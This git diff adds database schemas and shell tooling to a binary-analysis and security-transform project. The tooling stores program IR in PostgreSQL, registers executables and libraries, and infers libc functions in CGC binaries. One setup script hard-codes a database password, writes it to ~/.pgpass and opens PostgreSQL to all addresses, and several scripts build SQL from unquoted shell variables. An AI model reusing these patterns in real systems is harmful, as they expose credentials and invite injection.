+  data               bytea			-- the actual bytes of the scoop 
+);
+
+CREATE TABLE #ITN#
+(
+  instruction_id	    SERIAL PRIMARY KEY,		-- key
+  address_id                integer REFERENCES #ATN#,	-- which address this instruction si at
+  parent_function_id        integer,			-- does this instruction belong to a func, if so, which
+  orig_address_id           integer,			-- where did this instruction come from in the orig pgm.
+  fallthrough_address_id    integer DEFAULT -1,		-- the fallthrough address (if can fall through)
+  target_address_id         integer DEFAULT -1,		-- the target address (if direct) 
+  icfs_id                   integer DEFAULT -1,  	-- ICFS set id
+  ehpgm_id                  integer DEFAULT -1,  	-- id of EhProgram object (may be NOT_IN_DATABASE).
+  ehcss_id                  integer DEFAULT -1,  	-- id of EhCallSite object (may be NOT_IN_DATABASE).
+  data                      bytea,			-- the actual bytes of the instruction 
+  callback                  text,			-- a callback registered for this instruction
+  comment                   text,			-- a comment for human debugging
+  ind_target_address_id	    integer DEFAULT -1,		-- is this instruction jumped to indirectly, if so, it's using this addr
+  doip_id		    integer DEFAULT -1 		-- the DOIP
+);
+
+CREATE TABLE #RTN#
+(
+	reloc_id	      	integer, 	-- id in the table
+	reloc_offset 	  	integer DEFAULT 0,	-- how far into the object/instruction is the relocation
+	reloc_type	    	text DEFAULT '',	-- what type is the relocation.
+	instruction_id  	integer DEFAULT -1,	-- the object/instruction for this reloc, field name is anachronistic. 
+	addend  		integer DEFAULT 0,	-- the addend for this relocation in case it's hard to store the addend in the relocated object.
+	wrt_id  		integer DEFAULT -1,	-- the object that this reloc is with respect to.
+	doip_id	        	integer DEFAULT -1	-- the DOIP
+);
+
+-- keep track of indirect control flow sets (ibtargets)
+CREATE TABLE #ICFS#
+(
+	icfs_id		SERIAL PRIMARY KEY, 						-- set id
+	icfs_status	icfs_analysis_result DEFAULT 'icfs_analysis_incomplete'
+);
+
+-- map set id to addresses
+-- by mapping to address_id, we allow cross-file references
+CREATE TABLE #ICFS_MAP#
+(
+  icfs_id	      integer REFERENCES #ICFS#(icfs_id),
+  address_id      integer,
+  UNIQUE(icfs_id,address_id)   
+);
+
+CREATE TABLE #EHPGM#
+(
+	eh_pgm_id	integer,	-- id of this object.
+	caf		integer,	-- code alignment factor.
+	daf		integer,	-- data alignment factor
+	return_register	integer,	-- dwarf return register.
+	ptrsize		integer,	-- size of a pointer, 4 or 8.
+	cie_program	text,		-- for the cie, the bytes that make up a cie program, encoded as hex with commas separating instructions.
+	fde_program	text		-- for the fde, bytes as above
+);
+
+CREATE TABLE #EHCS#
+(
+	ehcs_id		integer,	-- id of this object.
+	tt_encoding	integer,	-- the encoding of the type table.
+	ttov		text,		-- the order of TT entries to use, a 0 indicates a cleanup
+	lp_insn_id	integer 	-- the landing pad instruction's id.
+);
diff --git a/peasoup_examples/tools/db/pdb.drop.tbl b/peasoup_examples/tools/db/pdb.drop.tbl
new file mode 100644
index 0000000000000000000000000000000000000000..b42f9199e2a3b5196b99f1454958a4c795726cc9
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb.drop.tbl
@@ -0,0 +1,3 @@
+DROP TABLE variant_dependency;
+DROP TABLE variant_info;
+DROP TABLE file_info;
diff --git a/peasoup_examples/tools/db/pdb_create_program_tables.sh b/peasoup_examples/tools/db/pdb_create_program_tables.sh
new file mode 100755
index 0000000000000000000000000000000000000000..061a94b114406db473ad70548327782b984bfe1a
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb_create_program_tables.sh
@@ -0,0 +1,56 @@
+#!/bin/sh  -x
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+
+#
+# pdb_create_program_tables <atn> <ftn> <itn> <icfs> <icfs_map> <rtn> <typ> file
+#
+
+
+# remove any path name
+
+atn=$1
+ftn=$2
+itn=$3
+icfs=$4
+icfs_map=$5
+rtn=$6
+typ=$7
+dtn=$8
+ehpgms=$9
+ehcss=${10}
+file=${11}
+
+echo Creating tables $atn, $ftn, $itn, $icfs, $icfs_map, $rtn, $typ, and $dtn.
+
+DB_SCRIPT=$file
+cat $PEASOUP_HOME/tools/db/pdb.createprogram.tbl |  \
+                sed "s/#ATN#/$atn/g" | \
+                sed "s/#FTN#/$ftn/g" | \
+                sed "s/#ITN#/$itn/g" | \
+                sed "s/#DTN#/$dtn/g" | \
+                sed "s/#ICFS#/$icfs/g" | \
+                sed "s/#ICFS_MAP#/$icfs_map/g" | \
+                sed "s/#RTN#/$rtn/g" | \
+                sed "s/#EHPGM#/$ehpgms/g" | \
+                sed "s/#EHCS#/$ehcss/g" | \
+                sed "s/#TYP#/$typ/g"  \
+                > $DB_SCRIPT
+
diff --git a/peasoup_examples/tools/db/pdb_info.sh b/peasoup_examples/tools/db/pdb_info.sh
new file mode 100755
index 0000000000000000000000000000000000000000..68818a676177b6df4ac12189e3d4f4adf8b37f5b
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb_info.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+
+psql -c "\d"
diff --git a/peasoup_examples/tools/db/pdb_register.sh b/peasoup_examples/tools/db/pdb_register.sh
new file mode 100755
index 0000000000000000000000000000000000000000..72aac6917d6fc927bfab0edbfc827b66aaff3030
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb_register.sh
@@ -0,0 +1,173 @@
+#!/bin/bash -x
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+
+#
+# pdb_register <peasoup_program_name> <peasoup_program_directory> 
+#
+# peasoup_program_name: name of the program to register in the DB
+# peasoup_program_directory: top-level directory containing all the Peasoup-related information (MEDS annotation, original binary, IDA Pro information etc...)
+#
+
+PROGRAM_NAME=$1
+PROGRAM_PEASOUP_DIR=$2
+VARIANT_ID_OUTPUT=$3
+
+#####################################################
+
+usage()
+{
+  echo "pdb_register <peasoup_program_name> <peasoup_program_directory> "
+}
+
+log_error()
+{
+  echo "pdb_register: ERROR: $1"
+  exit -1
+}
+
+log_message()
+{
+  echo "pdb_register: MESSAGE: $1"
+}
+
+#####################################################
+
+if [ -z $PROGRAM_NAME ]; then
+  usage
+fi
+
+if [ ! -d $PROGRAM_PEASOUP_DIR ]; then
+  log_error "Program peasoup directory: $PROGRAM_PEASOUP_DIR was not found"
+fi
+
+# Go inside the top-level directory
+cd $2
+
+HOSTNAME=`hostname`
+FILENAME=`pwd`/a.ncexe
+URL="file://$HOSTNAME$FILENAME"
+ARCH=`uname -m`
+
+if [ ! -f $FILENAME ]; then
+  log_error "Could not find ELF file at: $FILENAME"
+fi
+
+MD5HASH=`$PS_MD5SUM $FILENAME| cut -f1 -d' '`
+
+#============================================
+# Update variant_info table
+#============================================
+
+# -q: quiet mode
+# -t: tuple only
+# -c: run command
+
+
+
+echo PGDATABASE is $PGDATABASE
+PROGRAM_ID=`psql -q -t -c "INSERT INTO variant_info (schema_version_id,name) VALUES ('2', '$PROGRAM_NAME') RETURNING variant_id;" | sed "s/^[ \t]*//"`
+
+if [ ! $? -eq 0 ]; then
+  log_error "Failed to register program"
+fi
+
+# Update original program id
+psql -q -t -c "UPDATE variant_info SET orig_variant_id = '$PROGRAM_ID' WHERE variant_id = '$PROGRAM_ID';"
+
+
+
+#============================================
+# create the tables for this file
+#============================================
+create_table()
+{
+	$PEASOUP_HOME/tools/db/pdb_create_program_tables.sh $1 $2 $3 $4 $5 $6 $7 $8 $9 ${10} db.tmp.$$
+	psql -q -t -c "`cat db.tmp.$$`"
+}
+
+#============================================
+# Update file_info table
+#============================================
+
+update_file_info()
+{
+	pn=$1
+	url=$2
+	arch=$3
+	md5=$4
+	fn=$5
+	pid=$6
+	comment=$7
+
+	echo Adding $fn to IRDB.
+
+	pn=pn_${pn}_$pid
+	pn=`echo $pn | sed "s/[^a-zA-Z0-9]/_/g"`
+	
+	oid=`psql  -t -c "\lo_import '$fn' '$comment'" |cut -d" " -f2`
+	FILE_ID=`psql -q -t -c "INSERT INTO file_info (url, arch, hash, elfoid) VALUES ('$url', '$arch', '$md5', '$oid') RETURNING file_id;" | sed "s/^[ \t]*//"`
+
+	# the sing the program name is a problem if the prog. name is over 40 chars.
+	# just use a pid and fid.
+	pn=table_${pid}_${FILE_ID}
+
+	# Update original file id
+	psql -q -t -c "UPDATE file_info SET orig_file_id = '$FILE_ID', address_table_name = '${pn}_address', function_table_name = '${pn}_function', instruction_table_name = '${pn}_instruction', icfs_table_name = '${pn}_icfs', icfs_map_table_name= '${pn}_icfs_map', relocs_table_name = '${pn}_relocs', types_table_name = '${pn}_types', scoop_table_name='${pn}_data', ehpgm_table_name = '${pn}_ehpgm', ehcss_table_name = '${pn}_ehcss' WHERE file_id = '$FILE_ID';" || exit 1
+
+	# update the variant dependency table
+	psql -q -t -c "INSERT INTO variant_dependency (variant_id, file_id) VALUES ('$pid', '$FILE_ID')" || exit 1
+
+	create_table ${pn}_address ${pn}_function ${pn}_instruction ${pn}_icfs ${pn}_icfs_map ${pn}_relocs ${pn}_types ${pn}_data ${pn}_ehpgm ${pn}_ehcss
+
+	echo Importing $fn.annot into IRDB via meds2pdb 
+	$SECURITY_TRANSFORMS_HOME/bin/meds2pdb ${fn}.annot ${fn}.infoannot $FILE_ID ${pn}_function ${pn}_instruction ${pn}_address ${pn}_types  ${pn}_icfs ${pn}_icfs_map $fn || exit 1
+}
+
+
+
+
+
+#============================================
+# insert a.ncexe into the table
+#============================================
+update_file_info $PROGRAM_NAME $URL $ARCH $MD5HASH $FILENAME $PROGRAM_ID "original executable that was passed to ps_analyze.sh"
+
+#============================================
+# insert each of the shared libraries into the table
+#============================================
+for i in `cat shared_libs`; do
+	echo registering $i	
+	myname=$i
+	myfn=`pwd`/shared_objects/$i
+	myurl="file://`hostname`$myfn"
+	mymd5=`md5sum $myfn | cut -f1 -d' '`
+
+	update_file_info $myname $myurl $ARCH $mymd5 $myfn $PROGRAM_ID ".so for a.ncexe, $i"
+done
+
+
+#============================================
+# write out the program id so we have it for later.
+#============================================
+rm $VARIANT_ID_OUTPUT 2>/dev/null
+echo $PROGRAM_ID > $VARIANT_ID_OUTPUT
+
+exit 0
diff --git a/peasoup_examples/tools/db/pdb_setup.sh b/peasoup_examples/tools/db/pdb_setup.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c461b4011fb0ae55e2fe3392bff53ec3fbdf19b2
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb_setup.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+
+psql -f $PEASOUP_HOME/tools/db/pdb.create.tbl
+psql -f $PEASOUP_HOME/tools/db/job.create.tbl
diff --git a/peasoup_examples/tools/db/pdb_teardown.sh b/peasoup_examples/tools/db/pdb_teardown.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b0e3973cfd5a275c29fc7f3bede4f350c89f4ae6
--- /dev/null
+++ b/peasoup_examples/tools/db/pdb_teardown.sh
@@ -0,0 +1,23 @@
+#!/bin/sh 
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+
+psql -f $PEASOUP_HOME/tools/db/pdb.drop.tbl
+psql -f $PEASOUP_HOME/tools/db/job.drop.tbl
diff --git a/peasoup_examples/tools/db/zest/populate.sh b/peasoup_examples/tools/db/zest/populate.sh
new file mode 100755
index 0000000000000000000000000000000000000000..56ddd602f057f20825d3f395a0f05c483d1bb9e5
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/populate.sh
@@ -0,0 +1,3 @@
+# populate DB w/ test entries
+echo "Populate ZeST tables with test entries"
+psql -U $Z_PGUSER -h $Z_PGHOST -p $Z_PGPORT -d $Z_PGDATABASE -f $PEASOUP_HOME/tools/db/zest/populate.sql
diff --git a/peasoup_examples/tools/db/zest/populate.sql b/peasoup_examples/tools/db/zest/populate.sql
new file mode 100755
index 0000000000000000000000000000000000000000..9c632ff209e2691f9c357353a754f36c7d169e6f
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/populate.sql
@@ -0,0 +1,2 @@
+-- populate DB w/ test entries
+INSERT INTO users (name, password) VALUES ('John Doe', 'test');
diff --git a/peasoup_examples/tools/db/zest/setup_zestdb_env b/peasoup_examples/tools/db/zest/setup_zestdb_env
new file mode 100644
index 0000000000000000000000000000000000000000..8377ac9f5e934c432edab7aeffcd3f1e43eda059
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/setup_zestdb_env
@@ -0,0 +1,4 @@
+export Z_PGPORT=5432
+export Z_PGUSER=zest
+export Z_PGDATABASE=zest
+export Z_PGHOST=127.0.0.1
diff --git a/peasoup_examples/tools/db/zest/zest.create.tbl b/peasoup_examples/tools/db/zest/zest.create.tbl
new file mode 100644
index 0000000000000000000000000000000000000000..119f74860a9e0aacc2db039000116a09ed1a2220
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/zest.create.tbl
@@ -0,0 +1,56 @@
+CREATE TABLE users
+(
+	user_id      SERIAL PRIMARY KEY,
+	name         text,
+	password     text
+);
+
+CREATE TABLE bundle_info
+(
+	bundle_id          SERIAL PRIMARY KEY,
+	bundle_type        text     -- single, multi
+);
+
+CREATE TABLE file_info
+(
+	file_id            SERIAL PRIMARY KEY,
+    name               text,
+	type               text,
+	hash               text,
+	arch               text,
+	file_oid           OID
+);
+	
+CREATE TABLE bundle_spec
+(
+	bundle_id          integer REFERENCES bundle_info,
+	file_id            integer REFERENCES file_info
+);
+
+CREATE TABLE apps
+(
+	app_id             SERIAL PRIMARY KEY,
+    name               text,
+    user_id            integer REFERENCES users,
+    input_bundle_id    integer REFERENCES bundle_info
+);
+
+CREATE TABLE job_spec
+(
+	job_id             SERIAL PRIMARY KEY,
+	app_id             integer REFERENCES apps,
+	input_bundle_id	   integer REFERENCES bundle_info,
+	output_bundle_id   integer REFERENCES bundle_info
+);
+
+CREATE TABLE job_status
+(
+    job_id             integer REFERENCES job_spec,
+	submitted_ts       timestamp without time zone DEFAULT timestamp 'now ( )' NOT NULL,
+	start_ts           timestamp,
+	stop_ts	           timestamp,
+	configuration      text,
+	host               text,
+	status             text
+);
+
diff --git a/peasoup_examples/tools/db/zest/zest.drop.tbl b/peasoup_examples/tools/db/zest/zest.drop.tbl
new file mode 100644
index 0000000000000000000000000000000000000000..1805d75d5613bb66a6ce961a92b75917e3c81d32
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/zest.drop.tbl
@@ -0,0 +1,6 @@
+DROP TABLE users;
+DROP TABLE job_spec;
+DROP TABLE bundle_info CASCADE;
+DROP TABLE bundle_spec;
+DROP TABLE file_info;
+DROP TABLE job_status;
diff --git a/peasoup_examples/tools/db/zest/zestdb_create.sh b/peasoup_examples/tools/db/zest/zestdb_create.sh
new file mode 100755
index 0000000000000000000000000000000000000000..1b2f657b61513a014c3071a4b389dc82cab86bfe
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/zestdb_create.sh
@@ -0,0 +1,3 @@
+# Setup the Zest database tables
+echo "create ZeST tables"
+psql -U $Z_PGUSER -h $Z_PGHOST -p $Z_PGPORT -d $Z_PGDATABASE -f $PEASOUP_HOME/tools/db/zest/zest.create.tbl
diff --git a/peasoup_examples/tools/db/zest/zestdb_setup.sh b/peasoup_examples/tools/db/zest/zestdb_setup.sh
new file mode 100755
index 0000000000000000000000000000000000000000..777f76e565b24615b8a711ca03a706e28ef4f9ab
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/zestdb_setup.sh
@@ -0,0 +1,64 @@
+#!/bin/bash
+#
+# Copyright (c) 2015 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+source $PEASOUP_HOME/tools/db/zest/setup_zestdb_env
+
+PASSWD=q3z38zyt
+
+function err_out {
+	echo "zestdb_setup.sh: unbound environment variable: $1"
+	exit 1
+}
+
+if [ -z $Z_PGUSER ]; then
+	err_out Z_PGUSER
+fi
+
+if [ -z $Z_PGHOST ]; then
+	err_out Z_PGHOST
+fi
+
+if [ -z $Z_PGPORT ]; then
+	err_out Z_PGPORT
+fi
+
+if [ -z $Z_PGDATABASE ]; then
+	err_out Z_PGDATABASE
+fi
+
+printf ":$Z_PGPORT::$Z_PGUSER:$PASSWD\nlocalhost:$Z_PGPORT:*:$Z_PGUSER:$PASSWD\n127.0.0.1:$Z_PGPORT:*:$Z_PGUSER:$PASSWD" >> $HOME/.pgpass
+chmod og-rw $HOME/.pgpass
+
+#Allow remote access to PostGres
+sudo su -c "printf \"\nhost \t all \t all \t 127.0.0.1/16 \t md5\nhostssl  all \t all \t 127.0.0.1/16 \t md5\n\" >> /etc/postgresql/9.1/main/pg_hba.conf"
+printf "\nlisten_addresses = '*'\n" | sudo tee -a /etc/postgresql/9.1/main/postgresql.conf > /dev/null
+
+#Restart PostGres
+sudo service postgresql restart
+
+#Create Database User and Table
+echo "creating role"
+echo "CREATE ROLE $Z_PGUSER WITH CREATEDB LOGIN NOSUPERUSER NOCREATEROLE PASSWORD '$PASSWD'" | sudo -u postgres psql
+
+echo "create database: $Z_PGDATABASE"
+sudo su -c "createdb -O $Z_PGUSER $Z_PGDATABASE" postgres
+
+# Setup the Zest database tables
+$PEASOUP_HOME/tools/db/zest/zestdb_create.sh
diff --git a/peasoup_examples/tools/db/zest/zestdb_teardown.sh b/peasoup_examples/tools/db/zest/zestdb_teardown.sh
new file mode 100755
index 0000000000000000000000000000000000000000..22ac1470495cf5ec4ac02fa0fa93048ccfcd6747
--- /dev/null
+++ b/peasoup_examples/tools/db/zest/zestdb_teardown.sh
@@ -0,0 +1,21 @@
+#!/bin/sh 
+#
+# Copyright (c) 2015 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+
+psql -U $Z_PGUSER -h $Z_PGHOST -p $Z_PGPORT -d $Z_PGDATABASE -f $PEASOUP_HOME/tools/db/zest/zest.drop.tbl
diff --git a/peasoup_examples/tools/do_appfw.sh b/peasoup_examples/tools/do_appfw.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ab0e196ecd1eefd0254542ec5b16f854e217da6f
--- /dev/null
+++ b/peasoup_examples/tools/do_appfw.sh
@@ -0,0 +1,17 @@
+#!/bin/sh 
+
+bits=$1
+shift
+
+program=$1
+find_string_log=$2
+
+# generate string signatures off the binary
+$PEASOUP_HOME/tools/generate_string_signatures.sh "$program" "$program.sigs" $find_string_log
+cp $program.sigs $program.sigs.orig
+
+# copy application firewall library 
+cp $SECURITY_TRANSFORMS_HOME/appfw/lib/${bits}/libappfw.so libappfw.so
+#cp $SECURITY_TRANSFORMS_HOME/appfw/lib/${bits}/libappfw.so libappfw.so
+
+$PEASOUP_HOME/tools/update_env_var.sh DO_APPFW 1
diff --git a/peasoup_examples/tools/do_cinderella.sh b/peasoup_examples/tools/do_cinderella.sh
new file mode 100755
index 0000000000000000000000000000000000000000..0cd1c610e7a38af9da329c4cd3b4bfb88c137bb0
--- /dev/null
+++ b/peasoup_examples/tools/do_cinderella.sh
@@ -0,0 +1,199 @@
+#!/bin/bash
+#
+# pre: we are in the top-level directory created by ps_analyze.sh
+#
+# Find possible libc functions in CGC binaries 
+#     specified in $LIBC_SEARCH_SPEC
+#
+
+ORIG_VARIANT_ID=$1
+TESTABLE=a.ncexe.cinderella     
+LIBC_SEARCH_SPEC=$PEASOUP_HOME/tools/cinderella.spec
+
+TMP=tmp.$$
+cinderella_malloc="cinderella::malloc"
+
+# $1 oldfn 
+# $2 newfn
+function emit_function_attribute {
+	if [ ! -z $1 ]; then
+		echo "# ATTRIBUTE function_inferred=${1},${2}"
+	fi
+}
+
+# infer CGC syscall wrappers
+echo "$SECURITY_TRANSFORMS_HOME/bin/infer_syscall_wrappers.exe $ORIG_VARIANT_ID"
+$SECURITY_TRANSFORMS_HOME/bin/infer_syscall_wrappers.exe $ORIG_VARIANT_ID 
+
+# clone so that we work off a copy
+$SECURITY_TRANSFORMS_HOME/bin/clone.exe $ORIG_VARIANT_ID clone.id
+cloneid=`cat clone.id`
+
+# prep the binary for testing
+#     pin all functions
+#     splice-in our testing loop into the target program
+$SECURITY_TRANSFORMS_HOME/bin/cinderella_prep.exe $cloneid
+
+# get list of all functions in binary
+# for stripped binary, this will typically be of the form:
+#    sub_80004fde
+$SECURITY_TRANSFORMS_HOME/bin/display_functions.exe $cloneid | grep "^function" | cut -d' ' -f2 > cinderella.functions.all 
+
+# produce a zipr'd version so that we can dynamically test behavior
+echo "cinderella: Produce zipr'ed test version: id: $cloneid"
+echo "cmd: $ZIPR_INSTALL/bin/zipr.exe -v $cloneid -c $ZIPR_INSTALL/bin/callbacks.cinderella.exe -j $PS_OBJCOPY"
+$ZIPR_INSTALL/bin/zipr.exe -v $cloneid -c $ZIPR_INSTALL/bin/callbacks.cinderella.exe -j $PS_OBJCOPY
+mv b.out.addseg $TESTABLE
+if [ ! $? -eq 0 ];then
+  echo "cinderella: ERROR -- unable to weave in cinderella testing zipr callback"
+  exit 1
+fi
+
+echo "cinderella: testable: $TESTABLE"
+
+#----------------------------------------------------------------
+# We now have a Zipr'd binary in which we inserted a testing loop
+# Dynamically test for libc functions
+#----------------------------------------------------------------
+
+# Look for potential libc functions in the binary
+# TODO: fixme: specify output inference file here
+$PEASOUP_HOME/tools/do_prince.sh $cloneid `pwd`/$TESTABLE $LIBC_SEARCH_SPEC cinderella.functions.all
+
+# Any unique matches found?
+# if so rename function, e.g.:  sub_804CDE --> cinderella::strcmp
+echo "LIBC_SEARCH_SPEC=$LIBC_SEARCH_SPEC"
+echo "CMD: grep -v '#' $LIBC_SEARCH_SPEC | tr -s '\r\n' ' ' | sed -e 's/ $/\n/' > $TMP"
+grep -v '#' $LIBC_SEARCH_SPEC | tr -s '\r\n' ' ' | sed -e 's/ $/\n/' > $TMP
+alllibcfunctions=`cat $TMP`
+for fn in $alllibcfunctions
+do
+	positive_id=`grep $fn cinderella.inferences.positive | wc -l`
+	if [ "$positive_id" = "1" ]; then
+		oldfn=`grep $fn cinderella.inferences.positive | cut -f4 -d' '`
+		newfn="cinderella::$fn"
+		echo "$SECURITY_TRANSFORMS_HOME/bin/rename_function.exe $ORIG_VARIANT_ID $oldfn $newfn"
+		$SECURITY_TRANSFORMS_HOME/bin/rename_function.exe $ORIG_VARIANT_ID $oldfn $newfn
+		emit_function_attribute $oldfn $newfn
+	fi
+done
+rm $TMP
+
+#
+# At this point, we have found a whole bunch of libc functions via
+# dynamic testing
+#
+# Chances are, we have more than one choice for malloc(), so look
+# for the true malloc()
+#
+
+echo "CINDERELLA PASS1: simply intersect static + dynamic"
+$SECURITY_TRANSFORMS_HOME/bin/cgclibc.exe $ORIG_VARIANT_ID --positive-inferences cinderella.inferences.positive --negative-inferences cinderella.inferences.negative > cinderella.static.pass1
+count_malloc=`grep "^static positive malloc" cinderella.static.pass1 | wc -l`
+if [ "$count_malloc" = "0" ]; then
+	echo "No dynamic memory allocation in this program"
+	exit 0
+elif [ "$count_malloc" = "1" ]; then
+	oldfn=`grep -i "positive malloc" cinderella.static.pass1 | cut -d' ' -f4` 
+	echo "CINDERELLA PASS1: rename detected malloc fn to cinderella::malloc"
+	$SECURITY_TRANSFORMS_HOME/bin/rename_function.exe $ORIG_VARIANT_ID $oldfn $cinderella_malloc
+	emit_function_attribute $oldfn $cinderella_malloc
+	exit 0
+fi
+
+#
+# Use dominator heuristic to find malloc
+#    potential mallocs (dynamic): D = {A, B, C}
+#    potential mallocs (static) : S = {X, Y, A, B, C}
+#
+#    F = set_intersection(D,S) = {A, B, C}
+#    call graph: A --> B --> C            ==>     A is malloc
+#    call graph: A --> B --> C, A --> C   ==>     A is malloc
+#
+# Warning: static analyses must use the original variant id
+#          as the clone id has all its functions pinned down so that zipr
+#          doesn't move them. but pinning down functions will interfere
+#          with the static analysis pass
+#
+echo "CINDERELLA PASS2: intersect dynamic and static analyses for malloc / turn on --dominator"
+grep -i "positive malloc" cinderella.static.pass1 > $TMP
+$SECURITY_TRANSFORMS_HOME/bin/cgclibc.exe $ORIG_VARIANT_ID --positive-inferences $TMP --negative-inferences cinderella.inferences.negative --dominator > cinderella.static.pass2
+count_malloc=`grep "^static positive malloc" cinderella.static.pass2 | wc -l`
+count_free=`grep "^static positive free" cinderella.static.pass2 | wc -l`
+
+if [ "$count_malloc" = "1" ]; then
+	oldfn=`grep -i "positive malloc" cinderella.static.pass2 | cut -d' ' -f4` 
+	echo "CINDERELLA PASS2: rename detected malloc fn to cinderella::malloc"
+	$SECURITY_TRANSFORMS_HOME/bin/rename_function.exe $ORIG_VARIANT_ID $oldfn $cinderella_malloc
+	emit_function_attribute $oldfn $cinderella_malloc
+	exit 0
+fi
+
+#
+# Haven't yet found the true malloc/free
+# Use simple clustering heuristic
+#
+if [ "$count_malloc" != "1" ] || [ "$count_free" != "1" ] ; then
+	echo "CINDERELLA PASS3: with restrictions on malloc / turn on --dominator"
+	grep -i "positive malloc" cinderella.static.pass2 > $TMP
+	$SECURITY_TRANSFORMS_HOME/bin/cgclibc.exe $ORIG_VARIANT_ID --positive-inferences $TMP --negative-inferences cinderella.inferences.negative --dominator > cinderella.static.pass3
+	count_malloc=`grep "^static positive malloc" cinderella.static.pass3 | wc -l`
+	count_free=`grep "^static positive free" cinderella.static.pass3 | wc -l`
+fi
+
+echo "CINDERELLA: PASS3: #mallocs: $count_malloc  #frees: $count_free"
+
+if [ "$count_malloc" = "1" ]; then
+	oldfn=`grep -i "positive malloc" cinderella.static.pass3 | cut -d' ' -f4` 
+	echo "CINDERELLA PASS3: rename detected malloc fn to cinderella::malloc"
+	$SECURITY_TRANSFORMS_HOME/bin/rename_function.exe $ORIG_VARIANT_ID $oldfn $cinderella_malloc
+	emit_function_attribute $oldfn $cinderella_malloc
+	exit 0
+fi
+
